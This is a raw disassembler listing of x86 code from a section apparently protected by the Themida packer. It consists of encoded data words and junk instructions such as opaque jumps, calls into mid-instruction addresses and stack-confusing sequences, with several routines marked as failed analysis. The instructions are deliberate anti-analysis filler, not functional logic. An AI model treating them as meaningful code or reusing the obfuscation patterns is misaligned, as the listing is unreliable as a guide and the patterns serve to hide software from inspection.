		dd 59585873h, 21860Fh, 10E80000h, 0A6000000h, 0B98452F3h
		dd 6EE6578Dh, 0BC00FA4Eh, 0E99DFBC2h, 6, 0DD8EA212h, 0E859DDA5h
		dd 5, 5EBA8C62h, 860F5B50h, 4, 5805B053h, 4A60D081h, 56F91CBDh
		dd 59C2B70Fh, 673CF181h, 75BE30B0h, 6644EBA2h, 911BEA81h
		dd 0C8F0Fh, 820F0000h, 6, 820Fh, 0E8600000h, 5,	0E4C098ABh
		dd 0FFBF0FD2h, 6149B75Ah, 38C0F51h, 0F000000h, 0F5BF3B7h
		dd 0FA8BDBB7h, 0BE9h, 1B964D00h, 9DFF337Eh, 0ABC89AB3h
		dd 0F18B6660h, 2890Fh, 58560000h, 880F6061h, 3,	61CABF0Fh
		dd 8E8h, 66D47A00h, 237BC62Fh, 0D98166C0h, 515ED7CFh, 860F60h
		dd 61000000h, 0CA8B665Fh, 13E941B6h, 55000000h,	3BD21261h
		dd 343B1B7h, 891077BCh,	6D4C84F7h, 8B0F6900h, 1, 0E9DD8AF5h
		dd 13h,	438DED70h, 64F45C7Fh, 0C4C406E4h, 0CF1BCDD2h, 0FE1A0E7h
		dd 381h, 37EF8000h, 880Fh, 66600000h, 14E9D68Bh, 0A2000000h
		dd 69946C69h, 3A747FEh,	74702F00h, 0B4854999h, 61873CF4h
		dd 0B822EA81h, 8B666073h, 50EA8AC6h, 0F5FF4B0h,	386h, 0C3B70F00h
		dd 4880F57h, 66000000h,	59E856BFh, 28E0CBFh, 0FE92Fh, 0A0860000h
		dd 1E986956h, 6A6F0B8Fh, 8063943Eh, 6E9569Eh, 0AC000000h
		dd 0B1950667h, 66F85A51h, 15A3C381h, 18880Fh, 8A600000h
		dd 0FE9C6h, 0F2D60000h,	0EA53200Bh, 1BA9B049h, 97030C6Bh
		dd 0E86061B5h, 0Bh, 8091EEB5h, 0B1C6A5FCh, 6647523Ch, 665FD78Bh
		dd 6661D68Bh, 0E8C7E681h, 66D0B70Fh, 8B66D18Bh,	0BE8DEh
		dd 120F0000h, 30E94C40h, 0FA667947h, 14E9E8h, 6F290000h
		dd 0D7CE3498h, 279A807Fh, 0DB3D1A8Fh, 32353495h, 605E2D52h
		dd 0FE8h, 27F93700h, 5378E964h,	8C51DD62h, 0F6A5653h, 10E8h
		dd 84B6A800h, 989813DDh, 654353E7h, 2DBBE1DAh, 8B59582Ch
		dd 4DB061C1h, 6E9h, 0FB2B2F00h,	0E9E60084h, 11h, 77E8790h
		dd 8E949B5Eh, 0C7D5259Fh, 737492F2h, 66CF8B6Ah,	4D70C381h
		dd 2810Fh, 5A560000h, 860F51F9h, 4, 5967BF66h, 51FCF859h
		dd 0C13033B8h, 5E95F52h, 68000000h, 0F30216Ah, 0BE956h
		dd 59930000h, 0AB5F83D5h, 3C086FD9h, 81515FDBh,	9E3815F6h
		dd 0EE85975h, 0E6000000h, 190201B8h, 94A6122Dh,	0DEDC176Bh
		dd 59FE8B10h, 0C288D781h, 9E8673Eh, 17000000h, 804791FFh
		dd 0B00C2A92h, 0AE9h, 0FE8CE600h, 66FFF68Ch, 5EC7D8D0h
		dd 3850Fh, 8B660000h, 5AB966CEh, 8E82Dh, 76760000h, 9EB158E3h
		dd 0BF0F77B4h, 0CB805ACFh, 6860F23h, 0F000000h,	8Fh, 0F9C78A00h
		dd 0FD6B70Fh, 0D980C3BFh, 0D0BF0F65h, 52CABB60h, 81600C00h
		dd 249E2CF2h, 61616053h, 52D78B61h, 58F7BF0Fh, 4A7B866h
		dd 0DEE18166h, 0BE66F86Ch, 8E98A33h, 2E000000h,	2FCFF399h
		dd 8108C349h, 962A0DE2h, 9870F23h, 0F000000h, 381h, 0EB8000h
		dd 11E9h, 2B721F00h, 4D8E92DCh,	618C5F4Eh, 52D72BABh, 6057A400h
		dd 5E615E53h, 0B58AB966h, 0D28166F8h, 0C08155BEh, 2FA258B4h
		dd 0EBB86660h, 0AE948h,	0DBA0000h, 0A72F4D29h, 4D570A3Bh
		dd 0E8605761h, 0Ch, 0AE18CBE4h,	0E4CEC327h, 395576D0h
		dd 6658615Ah, 81D7BDBAh, 59EA8FDFh, 0F606023h, 0BA66CFB7h
		dd 61619ABEh, 830Fh, 0BE660000h, 0BF0FD24Bh, 73E8B8F3h
		dd 81667779h, 0E89D47D0h, 0Dh, 24D2258Ah, 0D4B3D712h, 2AF1A579h
		dd 31E38069h, 6697B359h, 0EAE7C681h, 99C08166h,	66F96000h
		dd 11E7C381h, 35EF8161h, 5041F94Ah, 0BE9h, 0FACD4B00h
		dd 0FFB7E90Dh, 6F04B271h, 0D9BF0F58h, 38E0FF8h,	0F000000h
		dd 8B51DFBFh, 0BF0F5AFBh, 9E9C9h, 0F3C20000h, 4027654Eh
		dd 0B26C14CBh, 0D18B66B3h, 8E8F38Bh, 25000000h,	8338AAF1h
		dd 0B8779FD0h, 43CA76EDh, 8D0F6058h, 1,	2EB261F5h, 11E9h
		dd 2B1F6B00h, 0A2A7004Bh, 3AD26B51h, 6E6FF76h, 66F9EFE6h
		dd 278EDB81h, 820F5950h, 4, 4DF6B966h, 3903C4BEh, 0FA8B663Bh
		dd 28A0Fh, 5B510000h, 6E9h, 0C8FDBC00h,	0B8FE6864h, 5235A532h
		dd 0B8D7BF0Fh, 4A081F76h, 0CC69ABBAh, 9E912h, 0C4A10000h
		dd 45A3A059h, 0E99650EDh, 12h, 0C998CAECh, 5C01CAE7h, 638D0D56h
		dd 29A1F30Bh, 0E881EE89h, 6B226683h, 0F88B5953h, 0EF816051h
		dd 3DD54DCAh, 61D7B70Fh, 0E7816658h, 0CE80B28Fh, 59F553ACh
		dd 6E956h, 22E70000h, 0BBF92342h, 8B66505Bh, 0BF0F59D0h
		dd 12E9C9h, 245B0000h, 960A9845h, 0EDE7F23Ah, 0B5D503EAh
		dd 0B4CA603Bh, 66C7BF0Fh, 0EADFC981h, 0FE956h, 0FE260000h
		dd 55542166h, 0A7ACF1CFh, 0EF4114AEh, 8B665831h, 0B7EE81D6h
		dd 0B90B3170h, 4B51DDF2h, 0F2816656h, 0E95F5042h, 12h
		dd 0F0BBCE90h, 42BD41D2h, 4C6E54E4h, 0BBAFBA5Fh, 0FA8B4FE3h
		dd 0FDD88160h, 0E90F14DAh, 6, 44A8097Dh, 536152C4h, 148B0Fh
		dd 0FE90000h, 96000000h, 86F1C97Ah, 0C90121BDh,	0E6FAF6Eh
		dd 0BB5E9152h, 3409A1Ah, 0FE9h,	91EBF000h, 0D0D8B31Bh
		dd 0ABE8EEDAh, 3577C700h, 0A798E181h, 9E9412Dh,	0FB000000h
		dd 187461DFh, 0F3CED811h, 18B4C88Bh, 605AF550h,	7E9h, 624F0E00h
		dd 0F62FD681h, 0FE9h, 3C03C300h, 8AC8F384h, 98331175h
		dd 0E7EE73B8h, 0F88B6661h, 0D78166FCh, 0EA816466h, 6A6CE5FBh
		dd 5820Fh, 81660000h, 57D0F5EAh, 0B85AD78Bh, 566ADD4Ah
		dd 0E9D18B66h, 11h, 0AB23D44Dh,	0E89F1B7Dh, 85651462h
		dd 0C70E4A98h, 0FE9E5h,	2E300000h, 838DAD98h, 877BDAD7h
		dd 0C9766C23h, 8B666045h, 0BF0F50DFh, 806158D7h, 8166E3F2h
		dd 0E912ABC2h, 0Ah, 0DB042EA4h,	5C588832h, 9E94A5Fh, 0CE000000h
		dd 6C9D6E07h, 5CB0D668h, 0C710A7BEh, 138C0F6Dh,	50000000h
		dd 0CE9h, 0A071FD00h, 0B857CF8Bh, 7F480798h, 0B70F5ACBh
		dd 0DE9DEh, 0FCF30000h,	850523AEh, 4748FF78h, 8B63C181h
		dd 59C281C3h, 661C549Fh, 8166CB8Bh, 6680FAEBh, 0FDE8FB8h
		dd 784h, 0C38B6000h, 61F0B70Fh,	81EFD680h, 83217FD7h, 1860F14h
		dd 0F8000000h, 5C23C1BBh, 0B966FC1Fh, 0D1811849h, 4918C3E6h
		dd 6E08166h, 81666038h,	6631C5DBh, 2B19C881h, 58E0F61h
		dd 66000000h, 1930D981h, 99DE8166h, 840F2Ah, 8B000000h
		dd 860FF8CFh, 0
; ---------------------------------------------------------------------------
		js	loc_64F6C4
		and	ebx, 43AF934h


loc_64F6C4:				; CODE XREF: Themida_:0064F6B8j
		adc	dx, 9219h
		mov	eax, 5CC3E0F7h
		sub	eax, 5CE290B2h
		jmp	loc_64F6DE
; ---------------------------------------------------------------------------
		scasd
		popa


loc_64F6DB:				; CODE XREF: Themida_:0064F6E4j
		movsb
		or	bh, dl


loc_64F6DE:				; CODE XREF: Themida_:0064F6D4j
		call	sub_64F6E8
		xchg	eax, esi
		jo	short loc_64F6DB
		sal	cl, 1

; =============== S U B	R O U T	I N E =======================================



sub_64F6E8	proc near		; CODE XREF: Themida_:loc_64F6DEp
		movsx	esi, di
		pop	edx
		pusha
		xor	edx, 695A30D4h
		or	edx, 20C6B1A4h
		popa
		jmp	loc_64F70C
; ---------------------------------------------------------------------------
		db 85h
		dd 0F27C38ADh, 0D5B22849h, 25DEAB2Eh
; ---------------------------------------------------------------------------


loc_64F70C:				; CODE XREF: sub_64F6E8+12j
		jb	loc_64F715
		movsx	edx, dx


loc_64F715:				; CODE XREF: sub_64F6E8:loc_64F70Cj
		jp	loc_64F71E
		movzx	ecx, ax


loc_64F71E:				; CODE XREF: sub_64F6E8:loc_64F715j
		jbe	loc_64F72D
		jbe	loc_64F72D
		movsx	edx, si


loc_64F72D:				; CODE XREF: sub_64F6E8:loc_64F71Ej
					; sub_64F6E8+3Cj
		jmp	loc_64F745
; ---------------------------------------------------------------------------
		mov	[ebp+472AEFF4h], eax
		sal	eax, cl
		fimul	dword ptr [esi]
		xlat
		mov	edi, 85AE46B9h
		xchg	eax, ebx
		push	ss
		retn
; ---------------------------------------------------------------------------


loc_64F745:				; CODE XREF: sub_64F6E8:loc_64F72Dj
		sbb	di, 329h
		push	esi
		jmp	loc_64F758
; ---------------------------------------------------------------------------
		dd 6A3F50ECh, 81B3F22Eh
; ---------------------------------------------------------------------------


loc_64F758:				; CODE XREF: sub_64F6E8+63j
		pop	ebx
		sbb	cl, 2Bh
		and	eax, 50ABC3C2h
		mov	edx, 209A96FEh
		movzx	ecx, cx
		adc	eax, 74C90962h
		jmp	loc_64F77F
; ---------------------------------------------------------------------------
		db 0Fh,	0Bh, 0EFh
		dd 9EF48E5Bh
		db 81h,	0FAh, 49h
; ---------------------------------------------------------------------------


loc_64F77F:				; CODE XREF: sub_64F6E8+88j
		jns	loc_64F789
		push	ebx
		mov	al, 89h
		pop	edx


loc_64F789:				; CODE XREF: sub_64F6E8:loc_64F77Fj
		call	sub_64F793
		cmp	eax, 319BC149h
sub_64F6E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_64F793	proc near		; CODE XREF: sub_64F6E8:loc_64F789p
		jle	loc_64F79F
		xor	ecx, 5C59160Fh


loc_64F79F:				; CODE XREF: sub_64F793j
		pop	eax
		call	near ptr loc_64F7AC+2
		cld
		sbb	[edi+11DDA27Bh], edx


loc_64F7AC:				; CODE XREF: sub_64F793+Dp
		imul	edx, [edx], 66h
sub_64F793	endp ; sp-analysis failed

		mov	edi, eax
; START	OF FUNCTION CHUNK FOR sub_64F81B


loc_64F7B1:				; CODE XREF: sub_64F81B+Ej
		pop	ecx
		mov	dx, 277Bh
		and	ch, 34h
		mov	eax, 1D5CF1C0h
		push	edi
		call	near ptr loc_64F7D4+1
		push	es
		lodsb
		push	edx
		push	edi
		and	eax, 0F673C01Dh
		xchg	eax, esp
		sti
		mov	edi, 5BBC477Dh


loc_64F7D4:				; CODE XREF: sub_64F81B-5Cp
		add	eax, 7E8h
		add	[ecx-625338B1h], bl
		push	edx
		push	ds
		pop	edx
		pop	esi
		pop	edi
		mov	esi, eax
		xor	eax, 37C4663Bh
		ja	loc_64F7F4
		mov	ebx, edx


loc_64F7F4:				; CODE XREF: sub_64F81B-2Fj
		mov	cx, 0F4D1h
		pusha
		adc	eax, 0B8C0F61h
		sub	bh, 2Ch
		popa
		add	bh, 0D2h
		movzx	edx, di
		call	sub_64F81B
		mov	bl, 37h
		enter	0FFFF965Eh, 36h
		fist	dword ptr [esi+ecx*2-4E9C6C80h]
; END OF FUNCTION CHUNK	FOR sub_64F81B

; =============== S U B	R O U T	I N E =======================================



sub_64F81B	proc near		; CODE XREF: sub_64F81B-12p

; FUNCTION CHUNK AT 0064F7B1 SIZE 0000006A BYTES

		jp	loc_64F823
		mov	al, 4Eh


loc_64F823:				; CODE XREF: sub_64F81Bj
		pop	esi
		call	near ptr loc_64F82E+2
		db	65h
		jnb	short loc_64F7B1
		xchg	cl, [ecx]


loc_64F82E:				; CODE XREF: sub_64F81B+9p
		add	eax, [edx+0EE95Bh]
sub_64F81B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 9A930000h, 0A5C46D28h, 21AAC09Eh, 0E3458F0h,	0FABF0F60h
		dd 0F3BB6661h, 7E98Bh, 2F040000h, 2FCDBE74h, 0B360F527h
		dd 0AFBF661Dh, 9E86193h, 7C000000h, 9189E25Eh, 90CDD929h
		dd 0F5FC38Bh, 180h, 8051F800h, 665BFDEFh, 0E8D8EBB9h, 9
		dd 88B24DAAh, 0DE740FD8h, 816659B8h, 0F0325E2h,	388h, 58F55200h
		dd 0D281B3B5h, 5C5DE2BFh, 251903BAh, 20C2816Ah,	0E97C79D6h
		dd 14h,	1A867437h, 0B4E3F2FEh, 12185F7Ah, 0BAFC7FA3h, 0E05C22Eh
		dd 8D0F5850h, 5, 65D08166h, 10E951CEh, 11000000h, 6A935929h
		dd 60D05E3Ah, 58225509h, 59767896h, 56DBB70Fh, 5FCF8B66h
		dd 8E8h, 0E72E9900h, 79EC8A99h,	0F5FF9CDh, 280h, 60D08B00h
		dd 8D0F57h, 5E000000h, 8E961h, 21820000h, 413ACF58h, 8D0FAA55h
		dd 4, 5B616056h, 8BC3BF0Fh, 667CB1D8h, 240FF181h, 0B5D18B66h
		dd 5E8FCFEh, 88000000h,	272A4F46h, 68D68166h, 8B665BFBh
		dd 0F28B66F7h, 0CCB2CC8Ah, 0F5CB8166h, 13E844h,	0D0FA0000h
		dd 0A71E008Ch, 0E34E49E0h, 0DDCFF130h, 9212217Ch, 0EE815F54h
		dd 5F24EFDCh, 6EC38166h, 13E9A1h, 6FC80000h, 0A011B041h
		dd 5B1A1EBh, 833C903Bh,	480B5AB4h, 661BB483h, 80C5C0B9h
		dd 8A0F4FCEh, 6, 0B35FEA81h, 0CA8020E6h, 0DB81666Eh, 0AE9CD38h
		dd 3C000000h, 0F5ECC616h, 0BF2F5534h, 68E28181h, 504B6704h
		dd 58D38B66h, 0BE9h, 8EE32C00h,	2C38FDECh, 179745CDh, 12E8FCh
		dd 0AB4D0000h, 88A506F7h, 6284CD85h, 0EEE0D658h, 0F757016h
		dd 20F18166h, 8B6658D3h, 9E9F1h, 33700000h, 90AF49h, 0E94B5672h
		dd 10h,	6CB88BDBh, 0E7CC4CB5h, 0B4C17817h, 0CDDF3750h
		dd 0EE9C68Bh, 97000000h, 2235248Bh, 9F2CA278h, 0F394CE33h
		dd 0DE95758h, 0D2000000h, 0B9A3F4F9h, 82EED422h, 0EB187EDEh
		dd 0D2BF0F59h, 5AFBB452h, 58B0Fh, 81660000h, 8BCD3EF7h
		dd 50BDB9C3h, 0B860377Fh, 2B018E57h, 0BA6661F9h, 0D98BCF29h
		dd 0F6A8BB50h, 665965B0h, 0B966F28Bh, 606003CCh, 8A0FFA8Bh
		dd 0
; ---------------------------------------------------------------------------
		popa
		mov	dx, 220Ah
		popa
		jmp	loc_64FAA7
; ---------------------------------------------------------------------------
		db 78h
		dd 0D1CC3621h, 0ABCA311Fh
		db 5Ah,	0B8h, 5
; ---------------------------------------------------------------------------


loc_64FAA7:				; CODE XREF: Themida_:0064FA96j
		jb	$+6
		push	edi
		mov	esi, edx
		pop	ebx
		jno	loc_64FABD
		sbb	esi, 75546EAEh


loc_64FABD:				; CODE XREF: Themida_:0064FAB1j
		xor	edx, 7CFD6152h
		jo	loc_64FADA
		jmp	loc_64FADA
; ---------------------------------------------------------------------------
		fsubr	qword ptr [esi-132F83Dh]
		retn
; ---------------------------------------------------------------------------
		db 57h,	4Ch, 76h
		db 0E9h, 8Ah
; ---------------------------------------------------------------------------


loc_64FADA:				; CODE XREF: Themida_:0064FAC3j
					; Themida_:0064FAC9j
		and	cx, 517Dh
		adc	bh, 1Fh
		mov	bh, 58h
		jbe	loc_64FAF6
		jl	loc_64FAF6
		xor	ecx, 3980EA79h


loc_64FAF6:				; CODE XREF: Themida_:0064FAE4j
					; Themida_:0064FAEAj
		push	ecx
		and	dh, 14h
		pop	eax
		jmp	loc_64FB09
; ---------------------------------------------------------------------------
		dd 185DEA1Fh, 6CD27D80h
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_64FB09:				; CODE XREF: Themida_:0064FAFBj
		pusha
		adc	bx, 4DFEh
		jle	loc_64FB16
		clc


loc_64FB16:				; CODE XREF: Themida_:0064FB0Fj
		popa
		cld
		jmp	loc_64FB27
; ---------------------------------------------------------------------------
		db 7Fh,	0CEh, 0E8h
		dd 12FC178Bh
		db 0BFh, 4Ah, 0BBh
; ---------------------------------------------------------------------------


loc_64FB27:				; CODE XREF: Themida_:0064FB18j
		mov	edi, 2A4C09Eh
		js	loc_64FB47
		jmp	loc_64FB47
; ---------------------------------------------------------------------------
		db 1Bh
		dd 9BADA61Dh, 7BA9D0DDh, 2A467D8Ch
		db 0F8h, 4Ch, 1
; ---------------------------------------------------------------------------


loc_64FB47:				; CODE XREF: Themida_:0064FB2Cj
					; Themida_:0064FB32j
		cmc
		mov	eax, 3BA565F0h
		xor	edx, 2B569A49h
		mov	ch, 95h
		jmp	loc_64FB6E
; ---------------------------------------------------------------------------
		dw 41BFh
		dd 505A3E0h, 0E9707A37h, 9E01FCFCh, 5578CB04h
		db 8Bh,	62h
; ---------------------------------------------------------------------------


loc_64FB6E:				; CODE XREF: Themida_:0064FB55j
		push	ecx
		mov	esi, edx
		pop	ecx
		jnp	loc_64FB80
		jnp	loc_64FB80	; CODE XREF: Themida_:0064FBBBj
		pusha
		popa


loc_64FB80:				; CODE XREF: Themida_:0064FB72j
					; Themida_:0064FB78j
		push	ebx
		mov	edi, 8205E6Eh
		pop	edi
		mov	bx, di
		stc
		jg	loc_64FB97
		xor	edx, 690F8A6Bh


loc_64FB97:				; CODE XREF: Themida_:0064FB8Bj
		adc	esi, 57E2E984h
		adc	edi, 33476548h
		mov	di, 9157h
		pusha
		pusha
		mov	ah, 67h
		mov	di, bx
		popa
		call	near ptr loc_64FBBF+1
		jbe	short loc_64FC28
		cmp	al, 65h
		jge	short loc_64FC1F
		xchg	eax, esp
		loopne	near ptr loc_64FB78+1
		and	bh, cl


loc_64FBBF:				; CODE XREF: Themida_:0064FBAFp
		and	al, 66h
		mov	eax, ebx
		pop	esi
		popa
		mov	esi, 1B1AA540h
		mov	cl, 3
		push	edx
		pusha
		movzx	ecx, dx
		popa
		pop	edx
		jns	$+6
		or	di, 27AEh
		call	near ptr loc_64FBF4+1
		aas
		xchg	eax, ecx
		pop	es
		mov	ebx, 0FD267BDBh
		cmp	dl, [edi+38C3B962h]
		add	ch, [edx+73h]


loc_64FBF4:				; CODE XREF: Themida_:0064FBDEp
		add	[esi-75h], ah
		mov	byte ptr [ebx+0Fh], 81h
		or	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
; ---------------------------------------------------------------------------
		test	ds:0BE000000h, eax
		push	ds
		sti
		jmp	short loc_64FC6E
; ---------------------------------------------------------------------------
		jnp	near ptr byte_64FC1D
		pusha
		jmp	loc_64FC1C
; ---------------------------------------------------------------------------
		cld
		xor	al, 12h
		pop	es


loc_64FC1A:				; CODE XREF: Themida_:0064FC33j
		and	ah, [edx]


loc_64FC1C:				; CODE XREF: Themida_:0064FC11j
		popa
; ---------------------------------------------------------------------------
byte_64FC1D	db 0Fh,	85h		; CODE XREF: Themida_:0064FC0Aj
; ---------------------------------------------------------------------------


loc_64FC1F:				; CODE XREF: Themida_:0064FBB8j
		adc	al, 0
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0Fh
; ---------------------------------------------------------------------------


loc_64FC28:				; CODE XREF: Themida_:0064FBB4j
		xor	al, cl
		scasb
		push	cs
		mov	ds:8ECAD25Bh, eax
		mov	ch, 0A6h
		jnz	short loc_64FC1A
		int	64h		; reserved for user interrupt
		mov	dh, 0E6h
		jnz	loc_64FC54
		pusha
		jmp	loc_64FC50
; ---------------------------------------------------------------------------
		db 8, 3Dh, 71h
		dd 568FB3E0h, 5CFC498Eh
; ---------------------------------------------------------------------------


loc_64FC50:				; CODE XREF: Themida_:0064FC40j
		add	dl, 0DEh
		popa


loc_64FC54:				; CODE XREF: Themida_:0064FC39j
		jo	loc_64FC5E
		mov	ax, 186h


loc_64FC5E:				; CODE XREF: Themida_:loc_64FC54j
		push	edx
		jz	$+6
		pop	ebx
		jmp	loc_64FC76
; ---------------------------------------------------------------------------
		db 0A0h
		db 66h,	23h
; ---------------------------------------------------------------------------


loc_64FC6E:				; CODE XREF: Themida_:0064FC08j
		mov	ebp, 761E017Ch
		sti
; ---------------------------------------------------------------------------
		db 21h,	57h
; ---------------------------------------------------------------------------


loc_64FC76:				; CODE XREF: Themida_:0064FC66j
		sub	bx, 3AF1h
		jmp	loc_64FC8C
; ---------------------------------------------------------------------------
		dd 0ED7B7841h, 937F6036h, 784DE870h
; ---------------------------------------------------------------------------


loc_64FC8C:				; CODE XREF: Themida_:0064FC7Bj
		mov	ecx, 54FE9227h
		stc
		pusha
		mov	bx, 4026h
		jz	loc_64FCA0
		or	bh, 85h


loc_64FCA0:				; CODE XREF: Themida_:0064FC97j
		popa
		push	edx
		movsx	esi, ax
		pop	eax
		jmp	loc_64FCBF
; ---------------------------------------------------------------------------
		push	ebx
		sti
		sub	al, 26h
		test	al, 0BBh
		pop	edx
		sub	ds:0F12C3CEBh, ch
		mov	bl, 4Eh
		and	eax, 573BB21Eh


loc_64FCBF:				; CODE XREF: Themida_:0064FCA6j
		mov	si, 6B7Eh
		mov	dl, 0C2h
		jns	loc_64FCCF
		mov	bx, 9ADAh


loc_64FCCF:				; CODE XREF: Themida_:0064FCC5j
		mov	bx, ax
		mov	ecx, 771A453h
		pusha
		mov	al, dh
		jp	loc_64FCE3
		movsx	eax, cx


loc_64FCE3:				; CODE XREF: Themida_:0064FCDAj
		popa
		cmc
		mov	cl, dh
		mov	ecx, esi
		cmc
		movsx	edi, dx
		sbb	dx, 0CE52h
		jmp	loc_64FCFC
; ---------------------------------------------------------------------------
		db 0Bh
		dd 0CE39F60Eh
; ---------------------------------------------------------------------------


loc_64FCFC:				; CODE XREF: Themida_:0064FCF2j
		cmc
		jmp	loc_64FD0C
; ---------------------------------------------------------------------------
		dw 5CD7h
		dd 0BA334BECh, 79B958DBh
; ---------------------------------------------------------------------------


loc_64FD0C:				; CODE XREF: Themida_:0064FCFDj
		sub	ebx, 42255BE5h
		mov	bx, di
		and	eax, 244A7DF6h
		mov	si, 0FE47h
		sub	dx, 9F89h
		cld
		jmp	loc_64FD33
; ---------------------------------------------------------------------------
		aaa
		xchg	eax, ebx
		enter	2A2Ah, 74h
		retf
; ---------------------------------------------------------------------------
		mov	bl, bh


loc_64FD33:				; CODE XREF: Themida_:0064FD25j
		sbb	dl, 4Ah
		jnz	loc_64FD3F
		mov	bx, si


loc_64FD3F:				; CODE XREF: Themida_:0064FD36j
		push	edx
		mov	dx, ax
		pop	edi
		pusha
		jmp	loc_64FD5E
; ---------------------------------------------------------------------------
		dw 0F06Bh
		dd 49A834A2h, 8344C586h, 0D0956F7Ch, 0EC316951h
		db 0CEh, 9Fh
; ---------------------------------------------------------------------------


loc_64FD5E:				; CODE XREF: Themida_:0064FD45j
		or	bx, 0BAA9h
		popa
		mov	dx, 216Bh
		jmp	loc_64FD7E
; ---------------------------------------------------------------------------
		db 4Eh,	18h, 9Bh
		dd 35D87E9Eh, 9CF0A57Eh, 12D7EB1Eh
; ---------------------------------------------------------------------------
		cmp	bl, bl


loc_64FD7E:				; CODE XREF: Themida_:0064FD68j
		mov	al, dh
		mov	bx, cx
		cld
		call	sub_64FD98
		outsd
		retn
; ---------------------------------------------------------------------------
		db 0D6h
		dd 0E7EC1869h, 57B222F7h, 0A5EE4105h

; =============== S U B	R O U T	I N E =======================================



sub_64FD98	proc near		; CODE XREF: Themida_:0064FD84p

; FUNCTION CHUNK AT 0064FE61 SIZE 00000014 BYTES

		mov	eax, 17BA9085h
		pop	ecx
		mov	ax, si
		stc
		mov	edi, 4E50113h
		push	ecx
		mov	di, 17B7h
		pop	eax
		movzx	edx, di
		jbe	loc_64FDBB
		xor	dx, 793Ch


loc_64FDBB:				; CODE XREF: sub_64FD98+18j
		mov	ebx, 0C3CC1F5h
		jmp	loc_64FDD2
; ---------------------------------------------------------------------------
		db 0F2h, 1Dh, 37h
		dd 0AA2C3F02h, 0AD91C555h
; ---------------------------------------------------------------------------
		or	al, 3Dh


loc_64FDD2:				; CODE XREF: sub_64FD98+28j
		xor	ch, 0A4h
		jmp	loc_64FDDF
; ---------------------------------------------------------------------------
		and	al, 78h
		inc	esp
		adc	al, 97h


loc_64FDDF:				; CODE XREF: sub_64FD98+3Dj
		mov	bx, si
		mov	edi, esi
		add	ch, 0ECh
		cld
		sub	esi, 7D790E6Bh
		mov	ebx, 50FC76Dh
		add	bl, 8Ch
		jmp	loc_64FE06
; ---------------------------------------------------------------------------
		db 25h
		dd 0C1968396h, 0AC9E592Ah
		db 0CAh, 58h
; ---------------------------------------------------------------------------


loc_64FE06:				; CODE XREF: sub_64FD98+5Ej
		push	edx
		mov	di, 7A86h
		pop	ecx
		adc	ch, 0C7h
		push	ecx
		mov	eax, 3F7969DAh
		pop	eax
		mov	si, 0D5B2h
		mov	esi, 22DEDC09h
		jo	$+6
		mov	ah, 0AEh
		mov	si, ax
		jb	loc_64FE32
		mov	edi, esi


loc_64FE32:				; CODE XREF: sub_64FD98+92j
		jmp	loc_64FE40
; ---------------------------------------------------------------------------
		db 0EFh
		dd 231BE13Ah, 2FBBFB20h
; ---------------------------------------------------------------------------


loc_64FE40:				; CODE XREF: sub_64FD98:loc_64FE32j
		mov	ebx, 68062D0h
		jle	loc_64FE61
		call	near ptr loc_64FE58+5
		mov	al, 0CEh
		wait
		and	al, 85h
		popa
		and	ch, ah


loc_64FE58:				; CODE XREF: sub_64FD98+B3p
		sar	dword ptr [edi-7F14EA0Dh], 1
sub_64FD98	endp ; sp-analysis failed

		repne push esi
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_64FD98


loc_64FE61:				; CODE XREF: sub_64FD98+ADj
		movzx	esi, ax
		jl	loc_64FE78
		call	sub_64FE75
		test	[esi+8678E8Ch],	dl
; END OF FUNCTION CHUNK	FOR sub_64FD98

; =============== S U B	R O U T	I N E =======================================



sub_64FE75	proc near		; CODE XREF: sub_64FD98+D2p
		push	esi
		pop	edi
		pop	edi


loc_64FE78:				; CODE XREF: sub_64FD98+CCj
		xor	al, 1Dh
		jo	loc_64FE83
		mov	al, 55h


loc_64FE83:				; CODE XREF: sub_64FE75+6j
		jmp	loc_64FE95
; ---------------------------------------------------------------------------
		dd 6A0E37C9h, 56502D57h, 0CEE46CD9h
		db 87h
; ---------------------------------------------------------------------------


loc_64FE95:				; CODE XREF: sub_64FE75:loc_64FE83j
		mov	edi, 38623256h
		pusha
		adc	cx, 764Bh
		popa
		push	ebx
		jnb	loc_64FEBF
		call	sub_64FEBE
		call	far ptr	2BEEh:6F0FD98Bh
		dec	eax
		mov	ds:0DA77B6ADh, eax
		wait
		push	eax
		hlt
sub_64FE75	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C8h

; =============== S U B	R O U T	I N E =======================================



sub_64FEBE	proc near		; CODE XREF: sub_64FE75+33p
		pop	edi


loc_64FEBF:				; CODE XREF: sub_64FE75+2Dj
		pop	eax
		mov	esi, 2E6845C8h
		pusha
		stc
		or	ax, 7CF0h


loc_64FECC:				; CODE XREF: sub_64FEBE+14j
		popa
		call	sub_64FEDF
		js	short loc_64FECC
		stosb
		or	[edi+3DFB2236h], ebx
		xor	ch, [edx+3]
		push	ebp
sub_64FEBE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_64FEDF	proc near		; CODE XREF: sub_64FEBE+Fp
		jmp	sub_64FEF1
sub_64FEDF	endp

; ---------------------------------------------------------------------------
		dd 0AEE87B55h, 0FE4EAAB7h, 0F2A002DEh
		db 0E5h

; =============== S U B	R O U T	I N E =======================================



sub_64FEF1	proc near		; CODE XREF: sub_64FEDFj
		pop	ecx
		xor	eax, 1C1D7ABFh
		jnz	loc_64FF00
		mov	edi, esi


loc_64FF00:				; CODE XREF: sub_64FEF1+7j
		mov	di, dx
		call	sub_64FF10
		xchg	eax, ecx
		retn
sub_64FEF1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 74h
; ---------------------------------------------------------------------------
		jns	short loc_64FF13
		xor	ecx, esp

; =============== S U B	R O U T	I N E =======================================



sub_64FF10	proc near		; CODE XREF: sub_64FEF1+12p
		mov	eax, esi
		pop	eax


loc_64FF13:				; CODE XREF: Themida_:0064FF0Cj
		cmc
		movzx	eax, dx
		add	ecx, 2B332910h
		call	loc_64FF2D
		iret
sub_64FF10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0E8h
		dd 0DA6D8E72h, 0EBEDEE59h
		db 7Ch
; ---------------------------------------------------------------------------


loc_64FF2D:				; CODE XREF: sub_64FF10+Dp
		jmp	loc_64FF38
; ---------------------------------------------------------------------------
